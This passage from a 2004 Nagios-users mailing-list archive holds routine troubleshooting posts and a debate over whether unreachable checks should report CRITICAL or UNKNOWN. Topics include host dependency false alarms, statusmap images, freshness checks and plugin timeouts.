machine --- RT1 -- RT2 -- RT3 ==================================================== The problem ==================================================== When RT1 goes down, or the RT1-RT2 Link goes down, Nagios will notice that at random, while he is checkong a service or HOST_ALIVE function to any part of the network that is down. Let's assume that the first Host that Nagios found dead was RT3. Nagios didn't get any reply from RT3, so RT3 will be kept in SOFT down state. Next the RETRY proccess will take place. The max_check_attempts are 30 for each host. That's because the links are not reliable at all so we want to be a little elastic with the Notifications. At the time that we reach the Retry #30, Nagios assumes that RT3 IS DOWN, puts it in HARD DOWN state and looks to find any dependencies associated with the RT3. If you look below, RT3 is dependent upon RT2. So it will continue with try pinging RT2. While Nagios is trying to determine whether the RT2 is alive or not, suddendly, the RT1-RT2 link comes up and all the network is now reachable by Nagios. I notice here that the max_checks_attempts havent timed out. So Nagios will take a response from RT2 and it will put it in A HARD OK State. The result will be NOT to check RT3 again to see if he is up as RT2. So, a notification will be sent reporting that RT3 is down. This is FAKE. The whole network was down! Below I provide you my configuration. Maybe sth goes wrong with my conf files. Thanks in advance guys ==================================================== My dependecies.cfg file ==================================================== define hostdependency{ host_name RT2 dependent_host_name RT3 notification_failure_criteria d,u } define hostdependency{ host_name RT1 dependent_host_name RT2 notification_failure_criteria d,u } =================================================== My hosts.cfg =================================================== define host{ use generic-host host_name RT1 alias Wireless 1 address 213.5.0.34 check_command check-host-alive max_check_attempts 30 notification_interval 0 notification_period 24x7 notification_options d,u } define host{ use generic-host host_name RT2 alias tsapi.twmn address 10.107.13.1 parents RT1 check_command check-host-alive max_check_attempts 30 notification_interval 0 notification_period 24x7 notification_options d,u } define host{ use generic-host host_name RT3 alias Wireless Internet address 212.34.23.4 parents RT2 check_command check-host-alive max_check_attempts 30 notification_interval 0 notification_period 24x7 notification_options d,u } ____________________________________________________________________ http://www.freemail.gr - ?????? ???????? ???????????? ????????????. http://www.freemail.gr - free email service for the Greek-speaking. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mls at freemail.gr Wed Mar 24 04:15:44 2004 From: mls at freemail.gr (Anastasios Zafeiropoulos) Date: Wed, 24 Mar 2004 05:15:44 +0200 Subject: nagios.gd2 icon in Statusmap Message-ID: <001e01c4114e$4cbd4450$d0ac673e@laptop> Hello everyone, I am searching for ways to beautify my layout of Network statusmap. Does anyone know how can I get rid of the icon nagios.gd2? This is the default icon of the monitoring server. For those who haven't understand yet, I mean this icon: http://abc.ergobyte.gr/nagios.gif Thank you all ____________________________________________________________________ http://www.freemail.gr - ?????? ???????? ???????????? ????????????. http://www.freemail.gr - free email service for the Greek-speaking. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ZalafR at Leadingedgegroup.com.au Wed Mar 24 06:41:20 2004 From: ZalafR at Leadingedgegroup.com.au (Rabbie Zalaf) Date: Wed, 24 Mar 2004 16:41:20 +1100 Subject: Web Configuration Interface. Message-ID: <5237E8DD31703E4B8F18DE416229C8C0C28263@legsydms01.leadingedgegroup.com.au> Hi Guy's, What are the chances of Nagios having some sort of simpler/easier web based configuration interface developed? Rabbie. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ae at op5.se Wed Mar 24 09:31:09 2004 From: ae at op5.se (Andreas Ericsson) Date: Wed, 24 Mar 2004 09:31:09 +0100 Subject: Service Configuration Question In-Reply-To: <20040323192259.31b42166.karl@debisschop.net> References: <405F5F9E.6000303@op5.se> <40604C23.3020200@op5.se> <20040323192259.31b42166.karl@debisschop.net> Message-ID: <4061474D.9070908@op5.se> Karl DeBisschop wrote: > On Tue, 23 Mar 2004 15:39:31 +0100 > Andreas Ericsson wrote: --[ snip ]-- > >>Again, that's not what I said. But if the plugin can't fetch any data >>at ALL (snmpget times out), it's supposed to return CRITICAL and not >>UNKNOWN. > > > That sort of depends - if you are checking the status of snmp, then yes. > But say you are trying to find out if a disk is full, whether or not > snmp is running has very little to do with whether the disk is full > I totally disagree. If the plugin fetches disk status input from nsclient or nrpe (or snmp, for that matter) and can't get it, it's a critical error (service not running). If it fetches it from the LOCAL server and can't get it, then it's most likely due to filesystem error (or a plugin bug, which we have to disregard for the sake of this discussion), which is definitely critical. > -- > Karl > -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From joerg.helmert at aracomp.de Wed Mar 24 10:33:07 2004 From: joerg.helmert at aracomp.de (joerg.helmert at aracomp.de) Date: Wed, 24 Mar 2004 10:33:07 +0100 Subject: Service Configuration Question In-Reply-To: <4061474D.9070908@op5.se> References: <4061474D.9070908@op5.se> Message-ID: <000801c41183$0421abc0$02dd1fac@cc.local> > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > Of Andreas Ericsson > Sent: Wednesday, March 24, 2004 9:31 AM > To: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Service Configuration Question > > > Karl DeBisschop wrote: > > > On Tue, 23 Mar 2004 15:39:31 +0100 > > Andreas Ericsson wrote: > > --[ snip ]-- > > > > >>Again, that's not what I said. But if the plugin can't > fetch any data > >>at ALL (snmpget times out), it's supposed to return > CRITICAL and not > >>UNKNOWN. > > > > > > That sort of depends - if you are checking the status of snmp, then > > yes. But say you are trying to find out if a disk is full, > whether or > > not snmp is running has very little to do with whether the disk is > > full > > > I totally disagree. If the plugin fetches disk status input from > nsclient or nrpe (or snmp, for that matter) and can't get it, it's a > critical error (service not running). > If it fetches it from the LOCAL server and can't get it, then > it's most > likely due to filesystem error (or a plugin bug, which we have to > disregard for the sake of this discussion), which is > definitely critical. > I agree to Andreas. I use monitoring to know everything is ok. If a plugin is not able to do its work, I do not know whats going on. So that is CRITICAL for me. The way the plugin gets its data doesn't play a role for me. (local/snmp/nrpe/nsca/ssh or whatever...) In above scenario you of course do not know if diskstate is ok or not, if snmp fails. But if snmp fails, something is wrong and that is CRITICAL. > > -- > > Karl > > > > -- > Sourcerer / Andreas Ericsson > > Bye, Joerg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From psimek at jcu.cz Wed Mar 24 11:23:27 2004 From: psimek at jcu.cz (Petr Simek) Date: Wed, 24 Mar 2004 11:23:27 +0100 (=?iso-8859-2?Q?St=F8edn=ED_Evropa_=28b=EC=9En=FD_=E8as=29?=) Subject: Special notifications handling in Nagios Message-ID: Hello, I want ask if is possible to configure contact with some special features in nagios. I want send notifications according this schema : - notifications are sent only between 7:00-23:00 - first notification is sent 15mins after down state unless connection to the service or host isn`t restored in 15mins after down state. - second notification is sent immediately when service or host goes to up state. - if 'down state' notification was sent at 22:00 and service goes up at 1:00, then 'up state' notification will be sent at 7:00 - if service goes down at 2:00, then 'down state' will be sent at 7:00 - if service goes down at 2:00 and goes up at 5:00 no notifications will be sent. I had no idea how to configure conditioned delay for 'down state' notifications. When I define hours for contact when notifications can be sent, then I loose messages sent in the denied hours. It is possible to achieve this requirements natively in Nagios without special external email filter ? *------------------------------------------------------------------------* | Petr Simek APS JU | | psimek at jcu.cz | *------------------------------------------------------------------------* ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From chenoi_a at yahoo.com Wed Mar 24 11:45:51 2004 From: chenoi_a at yahoo.com (chenoi A) Date: Wed, 24 Mar 2004 02:45:51 -0800 (PST) Subject: nagios.lock file could not found Message-ID: <20040324104551.84125.qmail@web60507.mail.yahoo.com> "no lock file found in /usr/local/nagios/var/nagios.lock" hai tq for reply my mail. i have problem on this when i clik to the menu (such as tactical overview) it will show Whoops! Error could not read host..... then i try start /etc/rc.d/init.d/ nagios start and got error above. i think i miss something here and i just need few more steps to make it real and working. PLEASE.....help me TQ - Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mikko.kaipila at nic.fi Wed Mar 24 11:57:57 2004 From: mikko.kaipila at nic.fi (Mikko Kaipila) Date: 24 Mar 2004 12:57:57 +0200 Subject: statusmap, weird problem Message-ID: <1080125876.7208.1.camel@rento.seclan.com> Hi! This may some kind of FAQ, but at least that has been taken a couple of days to find any solution to the next problem: I have compiled nagios-1.2.tar.gz in Debian stable/testing system with all kind of png/jpeg/gd library-dev support. When I run the configure-script, I got: We'll use default routines (in xdata/xsddefault.*) for status data I/O... We'll use default routines (in xdata/xcddefault.*) for comment data I/O... We'll use template-based routines (in xdata/xedtemplate.*) for extended data I/O... We'll use default routines (in xdata/xrddefault.*) for retention data I/O... We'll use template-based routines (in xdata/xodtemplate.*) for object data I/O... We'll use default routines (in xdata/xpddefault.*) for performance data I/O... We'll use default routines (in xdata/xdddefault.*) for scheduled downtime data I/O... checking for main in -liconv... (cached) no checking for gdImagePng in -lgd (order 1)... (cached) yes GD library was found! Which shows that GD/GD2-support found? and compilation (make all) goes through without problems. But, but. Still there are no images in the statusmap area (gd2_images); Only icon_images are displayed well.(which proves, that images are locating in right place) I have tried different image formats and different configurations in hostextinfo.cfg, like: define hostextinfo{ host_name rh_machine notes_url http://www.redhat.com icon_image redhat.jpg statusmap_image redhat.gd2 } define hostextinfo{ host_name HDSL-modem notes_url http://www.cisco.com icon_image ds11.png gd2_image ds11.png } And all kinds of different definitions also, but no result.And the images are locating in /usr/local/nagios/share/images/logos, which is sure the correct place. I think, that there is still needed some (image)lib-support which is needed before compilation of statusmap.cgi - even that configure script doesnt complain anything. Can somebody at least tell, which libraries should be installed before compilation (by apt-get from testing repository). Or some other advice? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From michael.riexinger at de.clara.net Wed Mar 24 12:34:38 2004 From: michael.riexinger at de.clara.net (Michael Riexinger) Date: Wed, 24 Mar 2004 12:34:38 +0100 Subject: hostgroups limititation Message-ID: <20040324113438.GA48782@box.int.de.clara.net> Hi, I noticed, that there's a limitation in the number of hostgroup members. Is there a way to remove this limit? Thanks, Michael Riexinger systems engineer -- claranet gmbh internet service provider tel +49 (0) 69 - 40 80 18 - 300 email: michael.riexinger at de.clara.net http://www.claranet.de/ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 24 12:36:17 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 24 Mar 2004 11:36:17 +0000 Subject: Service Configuration Question In-Reply-To: <4061474D.9070908@op5.se> References: <405F5F9E.6000303@op5.se> <40604C23.3020200@op5.se> <20040323192259.31b42166.karl@debisschop.net> <4061474D.9070908@op5.se> Message-ID: <20040324113617.27691.qmail@minnow.softflare.net> Andreas Ericsson writes: > I totally disagree. If the plugin fetches disk status input from nsclient > or nrpe (or snmp, for that matter) and can't get it, it's a critical error > (service not running). Think it through. Assume check_by_ssh is used to check disk space on a remote machine. Further assume that sshd on the remote machine is down. There is a critical problem because sshd is down, but you already know that because you're using check_ssh to test whether or not sshd is up, right? The state of the disk, however, is UNKNOWN. In this situation you don't know what state the disk is in, whether it is good, bad or ugly. The same thing applies however you monitor the remote service. If whatever transfers the data about service X is not working then the status of service X is unknown but the transport mechanism itself is critical. Doing things your way confuses the issue and reports a critical error in the wrong place (the service rather than the the transport). Doing it your way, if the transport fails you get told that all services monitored that way are critical (which they probably aren't) when the actual failure is elsewhere. Your way means that "sshd is down and needs to be fixed" would mutate into "everything on that box is dead." Of course, by that argument, the Nagios behaviour with passive service checks is wrong. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From brian.murphy at gmx.net Wed Mar 24 12:35:26 2004 From: brian.murphy at gmx.net (Brian Murphy) Date: Wed, 24 Mar 2004 12:35:26 +0100 (MET) Subject: Freshness checking problems Message-ID: <5285.1080128126@www46.gmx.net> I am having problems with freshness checking. I have syslog messages from a pair of HA servers coming to syslog-ng and through a script into a passive check on Nagios. Version 1.0 and 1.1 something. The messages should come every 5 seconds from each server (Overkill but thats what I get sent) and I have a freshness check for 60 seconds. i.e. no message for 60 seconds report it down. That gives syslog-ng 12 chances to get the message through. I am seeing heaps of false alarms, the freshness check triggers the immediate check though it has heard from the passive check. I have lots of other passive checks running though the interval on these was 10 minutes and 25 hours, now that I have added the new checks I get problems with them too. As if the freshness checking, passive check updating cannot handle the pace. Does anyone have any suggestions? TIA Brian -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 24 13:42:23 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Wed, 24 Mar 2004 07:42:23 -0500 Subject: Service Configuration Question In-Reply-To: <000801c41183$0421abc0$02dd1fac@cc.local> References: <4061474D.9070908@op5.se> <000801c41183$0421abc0$02dd1fac@cc.local> Message-ID: <20040324074223.210e86f7.karl@debisschop.net> On Wed, 24 Mar 2004 10:33:07 +0100 joerg.helmert at aracomp.de wrote: > > -----Original Message----- > > From: nagios-users-admin at lists.sourceforge.net > > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > > Of Andreas Ericsson > > Sent: Wednesday, March 24, 2004 9:31 AM > > To: nagios-users at lists.sourceforge.net > > Subject: Re: [Nagios-users] Service Configuration Question > > > > > > Karl DeBisschop wrote: > > > > > On Tue, 23 Mar 2004 15:39:31 +0100 > > > Andreas Ericsson wrote: > > > > --[ snip ]-- > > > > > > > >>Again, that's not what I said. But if the plugin can't > > fetch any data > > >>at ALL (snmpget times out), it's supposed to return > > CRITICAL and not > > >>UNKNOWN. > > > > > > > > > That sort of depends - if you are checking the status of snmp, > > > then yes. But say you are trying to find out if a disk is full, > > whether or > > > not snmp is running has very little to do with whether the disk is > > > > > > full > > > > > I totally disagree. If the plugin fetches disk status input from > > nsclient or nrpe (or snmp, for that matter) and can't get it, it's a > > > > critical error (service not running). > > If it fetches it from the LOCAL server and can't get it, then > > it's most > > likely due to filesystem error (or a plugin bug, which we have to > > disregard for the sake of this discussion), which is > > definitely critical. > > > I agree to Andreas. > I use monitoring to know everything is ok. > If a plugin is not able to do its work, I do not know whats going on. > So that is CRITICAL for me. > > The way the plugin gets its data doesn't play a role for me. > (local/snmp/nrpe/nsca/ssh or whatever...) > > In above scenario you of course do not know if diskstate is ok or not, > if snmp fails. > But if snmp fails, something is wrong and that is CRITICAL. Then you want to configure nagios to notify you on UNKNOWN. End of story. If I change the plugin to report CRITICAL, those who use the current distinction lose information as a result. For instance, you might very reasonably have a nagios admin teams fix or at least diagnose the state unknown, whereas a local admin would deal with the disk full. (Though I'm not sure how easy this would be in nagios as it stands, ath least without some addin mail agent) OOTH, I can understand the desire for a distinction between a plugin syntax error and the UNKNOWN state. I would be happy to code tha into the plugins IF Ethan felt he wanted to honor that disctinction in Nagios. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From joerg.helmert at aracomp.de Wed Mar 24 15:08:10 2004 From: joerg.helmert at aracomp.de (joerg.helmert at aracomp.de) Date: Wed, 24 Mar 2004 15:08:10 +0100 Subject: Service Configuration Question In-Reply-To: <20040324113617.27691.qmail@minnow.softflare.net> References: <20040324113617.27691.qmail@minnow.softflare.net> Message-ID: <001501c411a9$713943a0$02dd1fac@cc.local> > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > Of Paul L. Allen > Sent: Wednesday, March 24, 2004 12:36 PM > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Re: Service Configuration Question > > Andreas Ericsson writes: > > > I totally disagree. If the plugin fetches disk status input from > > nsclient > > or nrpe (or snmp, for that matter) and can't get it, it's a > critical error > > (service not running). > > Think it through. Assume check_by_ssh is used to check disk > space on a remote machine. Further assume that sshd on the > remote machine is down. There is a critical problem because > sshd is down, but you already know that because you're using > check_ssh to test whether or not sshd is up, right? The > state of the disk, however, is UNKNOWN. In this situation > you don't know what state the disk is in, whether it is good, > bad or ugly. > > The same thing applies however you monitor the remote > service. If whatever transfers the data about service X is > not working then the status of service X is unknown but the > transport mechanism itself is critical. Doing things your > way confuses the issue and reports a critical error in the > wrong place (the service rather than the the transport). > Doing it your way, if the transport fails you get told that > all services monitored that way are critical (which they > probably aren't) when the actual failure is elsewhere. Your > way means that "sshd is down and needs to be fixed" would > mutate into "everything on that box is dead." > > Of course, by that argument, the Nagios behaviour with > passive service checks is wrong. > > -- > Paul Allen > Softflare Support This is true, but you need additional service checks for this. Maybe ssh is not the best example, cause it might be needed for some other production work, not only for monitoring. Take snmp. It is there only for monitoring. If a plugin like check_snmp returns "unable to connect" I see, that this is not the status of my disk and react accordingly. Advantage is, I do not need an additional check for snmp. Of course, if I run 20 or so checks by snmp against one host, it might be wise to implement a check if snmp is up itself. That way making one able to make all the "checks by snmp" dependent on that "check of snmp". Would give 1 notification instead of 20 if snmpd dies... Anyway, A similar discussion was going on at nagiosplug-devel at lists.sourceforge.net. At the end Karl DeBisschop and others helped me to come to following conclusion: > > gets corrupted or whatever) It is true, that the status of > that check > > in reality is unknown. But for me the overal picture is more > > important. Something is going wrong after it was ok. > > I want to KNOW a status but only find out that the status > is unknown. > > That is critical for me. > > Then you set nagios to page you for UNKNOWN. > Hmmh, do not know why my mind assumed that only CRITICAL sends Notifications... You're right. So I'll: - Implement plugins with notifications for unknown disabled - check if I get unknowns from missing options or similar and correct if necessary - let it run a while - enable notifications for unknown The conclusion is, that it is enough to send an unknown state and that what _I_ wanted to achieve can be done with that. Bye, Joerg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From meck at chilitech.net Wed Mar 24 15:38:53 2004 From: meck at chilitech.net (Michael Eck) Date: Wed, 24 Mar 2004 09:38:53 -0500 Subject: Service Configuration Question In-Reply-To: <20040324074223.210e86f7.karl@debisschop.net> References: <4061474D.9070908@op5.se> <000801c41183$0421abc0$02dd1fac@cc.local> <20040324074223.210e86f7.karl@debisschop.net> Message-ID: What an interesting thread. I have to say that I ultimately agree with Paul Allen's analysis. That is, a service check is performed to determine the status of a service, not the status of the delivery mechanism. I think that a state of UNKNOWN is appropriate for a service check that fails because, for example, snmpd or the host is down. I appreciate all of your input. Thanks. I think we've lost site of my original question. Perhaps I should provide a bit more background. I'm monitoring a lot of statistics on wireless bridges. On of these statistics is percentage of retransmitted frames. Classifying my devices by the thresholds they surpass helps me prioritize who gets fixed and in what order. The problem is that when I have all these critical and warning states on my wireless bridges nagios is also performing host checks, generating unneeded load on my NMS and unnecessary ICMP traffic on the network. I'd like to configure Nagios to only perform a host check on state UNKNOWN for this particular service. It doesn't seem like this is possible though. -michael On Mar 24, 2004, at 7:42 AM, Karl DeBisschop wrote: > On Wed, 24 Mar 2004 10:33:07 +0100 > joerg.helmert at aracomp.de wrote: > >>> -----Original Message----- >>> From: nagios-users-admin at lists.sourceforge.net >>> [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf >>> Of Andreas Ericsson >>> Sent: Wednesday, March 24, 2004 9:31 AM >>> To: nagios-users at lists.sourceforge.net >>> Subject: Re: [Nagios-users] Service Configuration Question >>> >>> >>> Karl DeBisschop wrote: >>> >>>> On Tue, 23 Mar 2004 15:39:31 +0100 >>>> Andreas Ericsson wrote: >>> >>> --[ snip ]-- >>> >>>> >>>>> Again, that's not what I said. But if the plugin can't >>> fetch any data >>>>> at ALL (snmpget times out), it's supposed to return >>> CRITICAL and not >>>>> UNKNOWN. >>>> >>>> >>>> That sort of depends - if you are checking the status of snmp, >>>> then yes. But say you are trying to find out if a disk is full, >>> whether or >>>> not snmp is running has very little to do with whether the disk is >>>> >>>> full >>>> >>> I totally disagree. If the plugin fetches disk status input from >>> nsclient or nrpe (or snmp, for that matter) and can't get it, it's a >>> >>> critical error (service not running). >>> If it fetches it from the LOCAL server and can't get it, then >>> it's most >>> likely due to filesystem error (or a plugin bug, which we have to >>> disregard for the sake of this discussion), which is >>> definitely critical. >>> >> I agree to Andreas. >> I use monitoring to know everything is ok. >> If a plugin is not able to do its work, I do not know whats going on. >> So that is CRITICAL for me. >> >> The way the plugin gets its data doesn't play a role for me. >> (local/snmp/nrpe/nsca/ssh or whatever...) >> >> In above scenario you of course do not know if diskstate is ok or not, >> if snmp fails. >> But if snmp fails, something is wrong and that is CRITICAL. > > Then you want to configure nagios to notify you on UNKNOWN. End of > story. > > If I change the plugin to report CRITICAL, those who use the current > distinction lose information as a result. For instance, you might very > reasonably have a nagios admin teams fix or at least diagnose the state > unknown, whereas a local admin would deal with the disk full. (Though > I'm not sure how easy this would be in nagios as it stands, ath least > without some addin mail agent) > > OOTH, I can understand the desire for a distinction between a > plugin syntax error and the UNKNOWN state. I would be happy to code tha > into the plugins IF Ethan felt he wanted to honor that disctinction in > Nagios. > > -- > Karl > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ---- Michael Eck Chilitech Internet Solutions Network Operations Center 570-323-2166 http://www.chilitech.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From alevitt at navis.com Wed Mar 24 17:21:30 2004 From: alevitt at navis.com (Aaron Levitt) Date: Wed, 24 Mar 2004 08:21:30 -0800 Subject: Last ditch effort Message-ID: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> Greets everyone- I already posted this question already before, but never got to a solution. I wanted to post one last time in hopes I come up with a solution before I am forced to go back to netsaint. I have recently upgraded to nagios 1.1 from an older release of netsaint after a long time of faithful service. Since the upgrade, we have been getting some random timeouts, with an average of 1 or 2 a day. All the information I really have to go on, is the output from nagios. The mail contains "Info: CRITICAL - Plugin timed out after 10 seconds". The logs have the same information, but nothing more helpful. I'm not sure where it's getting the 10 seconds from. Initially I thought it was nrpe timing out, but it seems to be random services and hosts as well. So far, I have changed max_concurrent_checks and various timeout values in nagios.cfg. As well as changing max_check_attempts and normal_check_interval to make sure there wasn't too much going on at the same time (which really shouldn't matter since nagios is only monitoring about 60 hosts). I poked through the source code but couldn't find anything with a 10 second timeout. Currently nagios is running on it's own box, no other services are running on it. It's a 2.4.20 kernel on Redhat 9 and the hardware is a PIII 800Mhz and it's got 384Mb of RAM. Nothing very special, but that should be enough I would think. All of these false alarms are making nagios completely unreliable, but it has so many new enhancements, I would really like to continue to use it. If anyone has any suggestions, please send them my way. Any help would be greatly appreciated. Thanks in advance. -=Aaron ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From arnoldc at mcmservice.com Wed Mar 24 17:37:38 2004 From: arnoldc at mcmservice.com (Arnold Cano) Date: Wed, 24 Mar 2004 10:37:38 -0600 Subject: check_by_ssh question Message-ID: <1080146258.4744.33.camel@localhost.localdomain> Does anyone out there use indirect checks with check_by_ssh? or even nrpe? Can anyone provide a working example? I have found some information through google but none seem completely correct and have issues with their implementation. I've read over the indirect checks section of the nagios documentation a couple of times, however, it is just too abstract. Perhaps Ethan, Karl, or one of the other developers could provide an example of how they would implement what is described in the indirect checks section of the documentation? Please? Thanks, Arnold ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmiller at duskglow.com Wed Mar 24 17:50:25 2004 From: rmiller at duskglow.com (Russell Miller) Date: Wed, 24 Mar 2004 10:50:25 -0600 Subject: Last ditch effort In-Reply-To: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> References: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> Message-ID: <200403241050.30212.rmiller@duskglow.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 24 March 2004 10:21, Aaron Levitt wrote: > All of these false alarms are making nagios completely unreliable, but > it has so many new enhancements, I would really like to continue to use > it. If anyone has any suggestions, please send them my way. Any help > would be greatly appreciated. > I have been running nagios for over a month and have only seen one such false alarm. It has been rock solid for me. Have you ruled out the possibilty that it is a sporadic network fault? If I were in your shoes, I would set up another program to run a continuous ping at the same time and see if that shows a fault at the same time that nagios fails. - --Russell > Thanks in advance. > > -=Aaron > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > ::: reporting any issue. Messages without supporting info will risk being > ::: sent to /dev/null - -- 10:49:00 up 45 days, 23:31, 2 users, load average: 0.37, 0.45, 0.47 Russell Miller - rmiller at duskglow.com - Somewhere near Sioux City, IA. Youth cannot know age, but age is guilty if it forgets youth - Professor Dumbledore Hi! 